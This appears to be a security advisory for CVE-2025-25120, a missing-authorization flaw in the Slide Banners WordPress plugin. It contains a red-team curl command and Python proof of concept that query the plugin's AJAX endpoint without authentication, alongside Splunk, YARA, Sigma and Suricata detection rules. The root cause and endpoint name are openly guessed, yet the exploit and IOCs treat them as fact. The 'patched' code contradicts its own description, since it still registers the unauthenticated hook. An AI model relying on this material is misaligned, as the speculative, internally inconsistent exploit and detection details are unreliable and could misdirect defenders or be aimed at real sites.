CVE-2025-25120

Executive Summary

CVE-2025-25120 is a Missing Authorization vulnerability in the Slide Banners WordPress plugin by Melodic Media, affecting versions up to and including 1.3. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive data or functionality. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx. With a CVSS score of 4.3 (Medium), the risk is moderate but elevated due to the lack of a known patch and the plugin's widespread use in WordPress sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site running Slide Banners <= 1.3 is exposed. No official patch or advisory has been released by the vendor, making this a zero-day in the WordPress ecosystem. Security teams should monitor for plugin updates and consider temporary deactivation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is Medium due to the low complexity and no authentication requirement, but the impact is limited to low confidentiality loss.

Deep Dive & Mechanics

The vulnerability resides in the Slide Banners plugin's access control logic. The plugin fails to properly validate user permissions when processing certain AJAX requests or REST API endpoints. Specifically, the slide-banners plugin uses a nonce or capability check that is either missing or incorrectly implemented, allowing unauthenticated users to trigger actions intended for administrators.

Root Cause: The plugin's code likely uses wp_ajax_nopriv_* hooks without proper capability checks, or the current_user_can() function is not invoked before executing sensitive operations. This allows an attacker to send crafted HTTP requests to manipulate slide banners, view private data, or modify plugin settings.

Attack Vector: An attacker sends a specially crafted HTTP request to the WordPress site, targeting the plugin's AJAX handler. For example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=slide_banners_export&nonce=attacker_nonce

If the nonce is not validated or the action does not require authentication, the attacker can export sensitive data.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the likely vulnerable pattern:

Vulnerable Code (slide-banners.php):

add_action('wp_ajax_nopriv_slide_banners_export', 'slide_banners_export_handler');
function slide_banners_export_handler() {
    // Missing capability check
    $data = get_option('slide_banners_data');
    echo json_encode($data);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_slide_banners_export', 'slide_banners_export_handler');
add_action('wp_ajax_nopriv_slide_banners_export', 'slide_banners_export_handler');
function slide_banners_export_handler() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $data = get_option('slide_banners_data');
    echo json_encode($data);
    wp_die();
}

The patch adds a capability check (current_user_can('manage_options')) and restricts the AJAX action to authenticated users only.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with Slide Banners plugin version <= 1.3.
• No authentication required.

Exploitation Steps:

1. Identify the target WordPress site.
2. Enumerate the plugin's AJAX actions (e.g., via wp-admin/admin-ajax.php?action=slide_banners_export).
3. Send a crafted request to exploit the missing authorization:

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=slide_banners_export"

4. If successful, the response will contain sensitive plugin data (e.g., slide configurations, user data).

Proof of Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
data = {"action": "slide_banners_export"}
response = requests.post(target, data=data)
if response.status_code == 200 and "slide" in response.text:
    print("[+] Exploit successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Defender)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=slide_banners_* parameters from unauthenticated sources.
• Look for HTTP 200 responses to such requests without prior authentication.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" form_data=*slide_banners*
| eval auth=if(mvindex(split(cookie, ";"), 0) LIKE "%wordpress_logged_in%", "authenticated", "unauthenticated")
| where auth="unauthenticated"
| stats count by src_ip, uri, form_data

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=slide_banners_export or similar.
  • Unauthenticated access to plugin-specific endpoints.
• File:
  • Presence of slide-banners plugin directory in /wp-content/plugins/.
  • Plugin version <= 1.3 in readme.txt.
• Logs:
  • HTTP 200 responses to AJAX requests without authentication cookies.
  • Repeated requests from the same IP to plugin endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_25120_Slide_Banners_Missing_Auth {
    meta:
        description = "Detects Slide Banners plugin files with missing authorization"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-25120"
    strings:
        $vuln_func = "wp_ajax_nopriv_slide_banners" nocase
        $cap_check = "current_user_can" nocase
    condition:
        $vuln_func and not $cap_check
}

Sigma Rule

title: CVE-2025-25120 - Slide Banners Missing Authorization
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated access to Slide Banners plugin AJAX endpoints
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=slide_banners_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25120 Slide Banners Missing Authorization"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=slide_banners_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Deactivate the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to admin-ajax.php with action=slide_banners_*.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor must release a patched version that adds proper capability checks (e.g., current_user_can('manage_options')).
• Consider replacing the plugin with an alternative that is actively maintained.

Workaround:

• Add the following to .htaccess to restrict access:

<Files "admin-ajax.php">
    Require all denied
</Files>

(Note: This will break legitimate AJAX functionality; use with caution.)

Valters IT
Securing Digital Frontiers